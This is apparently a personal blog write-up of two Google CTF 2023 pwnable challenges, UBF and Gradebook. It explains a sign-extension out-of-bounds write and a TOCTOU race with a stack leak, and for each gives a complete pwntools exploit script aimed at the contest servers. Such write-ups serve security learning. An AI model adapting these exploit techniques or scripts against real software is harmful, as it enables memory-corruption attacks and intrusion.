Skip to main content
  1. Posts/

Google CTF 2023

·7 mins
th3_5had0w
Writeup Pwnable
Table of Contents

I had a good weekend playing GoogleCTF 2023 with The Council of Sheep aliased as nopnop (CTFTime please help us change our name back…), we are placed top 32nd and I solved 5 pwnable challenges, but for this writeup I will write about the challenges that I think are the most interesting challenges.

UBF #

Please review and test this Unnecessary Binary Format (UBF)!

The challenge is a binary which parses our input data into data structures. But before doing anything, the challenges load the contents from files to environment variables, specifically /motd to $MOTD, /team to $TEAM, /flag to FLAG.

Our input data will then be base64-decoded into a byte stream. The byte stream could hold multiple adjacent entries of data, these entries will then be unpacked through unpack_entry, there are checks on how to craft the entry headers, data packets,…

Into unpack_entry we do know that for each entry there is a corresponding struct to parse data from the byte stream into and there are three types of data available, string type, boolean type, integer type represented with s, b, i.

Each of type will have its corresponding unpack function. To be more specific after reversing for a while I’ve knew that the for a string type entry will have its struct looks like this:

More importantly, strings that have first character is '$' will be treated as environment variable, so basically we could get the environment variables which was set at the beginning of the program and others environment variable. From this we can get the flag easily, right?

Well, kind of, if you had fully reversed the program, you will realize that there is a function that detects the flag with the pattern 'CTF{' and replaces all flag characters with Xs on the way printing out the strings.

But no worries, if you has debugged the unpack_entry function you’ll notice that there’s a value from our input to be parsed incorrectly into the struct. In the picture below the program tries to move a word sized value into a dword sized register, but the word value is a signed number, so when a negative value (0x8000<=n<=0xffff) meets the movsx (sign-extend operator) the sign will also be extended.

This value again will be used in fix_corrupt_booleans as offset to modify values without any check.

This is clearly an out of bound, and the flag also lies on the heap, so I used this out of bound to modify the flag pattern so censor_string won’t recognize it’s the flag, for the remote session I get all motd, team and flag back to local and setup the docker to replicate the remote environment and brute it to get the offset, after getting the offset.

from pwn import *
from base64 import b64encode

def pwn(idx):
    io = remote('ubf.2023.ctfcompetition.com', 1337)
    #io = remote('localhost', 1337)

# boolean

    raw_payload = p32(0x1)
    raw_payload += b'b'
    raw_payload += p16(0x1)
    raw_payload += p16(0xffff-9529)
    raw_payload += p8(0x20) * 0x1

# string

    raw_payload += p32(0x1000)
    raw_payload += b's'
    raw_payload += p16(1)
    raw_payload += p16(2)
    raw_payload += p16(5)
    raw_payload += b'$FLAG'

    payload = b64encode(raw_payload)

    print(payload)
    io.sendlineafter(b'encoded:\n', payload)
    res = io.recvall()
    if b'CTF{XXXX' not in res and b'TF{' in res:
        exit(1)
    print(res)
    io.close()

pwn(0)

Gradebook #

They change the password every couple of weeks, but I know where they write it down.

I solved this challenge over-time but I thing I learnt something new from it so this is it anyway <3

The binary prepared the “win” for me, that’s a great start. After had analyzed the target for a while. I will tear down the target into the main functionality and structures.

The binary is like a book manager application, with each book belongs to each student. The book structure looks like this

struct gradebook {
    uint32_t default; // default "\x47\x52\xAD\xE5" taken from sample gradebook attachment
    uint32_t trash; // doesn't really matter
    char student_lastname[0x20];
    char student_firstname[0x20];
    uint64_t filesz; // the same as real file size returned by fstat(), will be checked for gradebook corruption
    uint64_t offset_for_first_chunk; // default point to first chunk
    uint64_t offset_for_current_chunk; // n with n >= 0x60 and n <= filesz, will be added with 0x40 everytime a new row is added (will be checked for gradebook corruption)
    // start of first chunk
    char class[0x8];
    char course_title[0x16];
    char grade[0x2];
    char teacher[0xc];
    uint32_t room;
    uint32_t period;
}

After uploading a gradebook and open it the gradebook will be opened and mmaped at address 0x4752ade50000 with the file descriptor returned by open as its backed file descriptor.

After the gradebook struct, the gradebook list behaves like a linked-list (traverse by + 0x38 for each).

With the gradebook behaves like a linked-list, every task performed on it (ADD_GRADE, UPDATE_GRADE, REMOVE_GRADE, DOWNLOAD_GRADEBOOK, CLOSE_GRADEBOOK) is kinda straight forward so you can do the challenge to see it by yourself, I not need going too deep into every function since it’s not really nescessary.

One thing I started to notice after had jumped back and forth, the binary will save each gradebook in a file (in tmp folder) with your arbitrary name and mmaped it, these tasks are all performed in a single session.

Of course the file size and first grade offset provided in the file uploaded and opened by user will be check in the first place.

But again, since the gradebook file is saved in a file in the tmp folder with your arbitrary name, you can reupload the file twice too overwrite the content after it has been checked. It’s a TOCTOU attack:

  • Open session A.
  • session A: upload the valid gradebook file.
  • session A: the file has been checked and there will be no other file size check beyond this point.
  • Open session B.
  • session B: Overwrite the gradebook file with malicious data. At this place session will inform you that the file is invalid and the file will not be opened and mmapped (but the malicious data has already been written into the gradebook file that session A is working on!)
  • Close session B.
  • session A: malicious behaviors!!!

What I do with this bug is I will overwrite the file_sz into (uint64_t)-1 so now I could indicate the first gradebook with arbitrary offsets.

But the binary is turned on Position-Independent-Executables so I need a leak.

Debugging for a while and I realized there’s a potential stack pointer leak.

The binary memset 0x48 bytes starting from $rax with “SPACE” character. And right next after that 0x48 bytes is a stack pointer.

And right after that memset I see the program use memcpy with maximum input that user is allowed to input, which means the null-terminator from scanf is pretty useless here if we input maximum number of character allowed.

The stack leak combined with the arbitrary offset from the gradebook allows me changing the return pointer to the win function.

Strategy:

  • Write valid gradebook.
  • Stack pointer leak.
  • Overwrite the gradebook again with the file size as (uint64_t)-1 and offset_for_first_chunk as the correct offset such that (first_chunk + 0x1e) = return pointer (check_gradebook_and_execute+145).
  • Update_gradebook with the last LSB of win function.
from pwn import *
import sys

DEBUG = 0


def info(classr : bytes,
         course_title : bytes,
         grade : bytes,
         teacher : bytes,
         room : int,
         period :int):
    inf = classr.ljust(0x8, b' ')
    inf += course_title.ljust(0x16, b' ')
    inf += grade.ljust(0x2, b' ')
    inf += teacher.ljust(0xc, b' ')
    inf += p32(room)
    inf += p64(period)
    print(hex(len(inf)))
    return inf


def gradebook(filesz : int,
              offset_current_chunk : int,
              sus : int,
              studentfirstname : bytes,
              studentlastname : bytes,
              classr : bytes,
              course_title : bytes,
              grade : bytes,
              teacher : bytes,
              room : int,
              period :int):
    # classr: dc
    signature = 0x20
    grdbk = b'\x47\x52\xAD\xE5'
    grdbk += p32(signature)
    grdbk += studentlastname.ljust(0x20, b'\0')
    grdbk += studentfirstname.ljust(0x20, b'\0')
    grdbk += p64(filesz) # file sz
    grdbk += p64(offset_current_chunk) # <-- offset to current chunk
    grdbk += p64(sus) # <-- must not be smaller than 0x60
    grdbk += b'A'*0x38+p64(0)
    grdbk += info(classr=classr,
                  course_title=course_title,
                  grade=grade,
                  teacher=teacher,
                  room=room,
                  period=period)
    
    grdbk += b'\0'*0x100
    
    print(hex(len(grdbk)))
    f = open('/tmp/grades_60bc167766f388675d09e6deb7b1e38c', 'wb')
    f.write(grdbk)
    f.close()
    return grdbk


while 1:
    if DEBUG:
        io1 = process('./chal')
    else:
        io1 = remote('gradebook.2023.ctfcompetition.com', 1337)
    pause()
    book = gradebook(0xb0,
                    0x60,
                    0x60,
                    b'Billy',
                    b'Grade',
                    b'A'*8,
                    b'A'*0x16,
                    b'A'*0x2,
                    b'A'*0xc,
                    0x12345678,
                    0x12345678)
    io1.sendlineafter(b'PASSWORD:\n', b'pencil')
    io1.sendlineafter(b'QUIT\n\n', b'2')
    io1.sendlineafter(b'NAME:\n', b'/tmp/grades_60bc167766f388675d09e6deb7b1e38c')
    io1.sendlineafter(b'ENTER FILE SIZE:\n', str(len(book)).encode())
    io1.sendafter(b'SEND BINARY FILE DATA:\n', book)
    io1.sendlineafter(b'QUIT\n\n', b'1')
    io1.sendlineafter(b'NAME:\n', b'/tmp/grades_60bc167766f388675d09e6deb7b1e38c')

    io1.recvuntil(b'AAAA     ')
    try:
        stack = u64(io1.recvline()[0:-1]+b'\0\0')
    except:
        io1.close()
        continue
    log.info('stack: '+hex(stack))
    log.info('offset: '+hex(stack - 0x4752ade50000 - 0x1e))

    if DEBUG:
        io2 = process('./chal')
    else:
        io2 = remote('gradebook.2023.ctfcompetition.com', 1337)
    book2 = gradebook(0xffffffffffffffff,
                    (stack - 0x4752ade50000 - 0x46),
                    (stack - 0x4752ade50000 - 0x46),
                    b'Billy',
                    b'Grade',
                    b'A'*8,
                    b'A'*0x16,
                    b'A'*0x2,
                    b'A'*0xc,
                    0x12345678,
                    0x12345678)
    io2.sendlineafter(b'PASSWORD:\n', b'pencil')
    io2.sendlineafter(b'QUIT\n\n', b'2')
    io2.sendlineafter(b'NAME:\n', b'/tmp/grades_60bc167766f388675d09e6deb7b1e38c')
    io2.sendlineafter(b'ENTER FILE SIZE:\n', str(len(book2)).encode())
    io2.sendafter(b'SEND BINARY FILE DATA:\n', book2)
    io2.sendlineafter(b'QUIT\n\n', b'3')
    io2.close()

    io1.sendlineafter(b'QUIT\n\n', b'2')
    io1.sendlineafter(b'WHICH GRADE:\n', b'1')
    io1.sendlineafter(b'NEW GRADE:\n', p16(0x86e0+1))
    res = io1.recvall()
    io1.close()
    if (b'CTF{' in res):
        print(res)
        break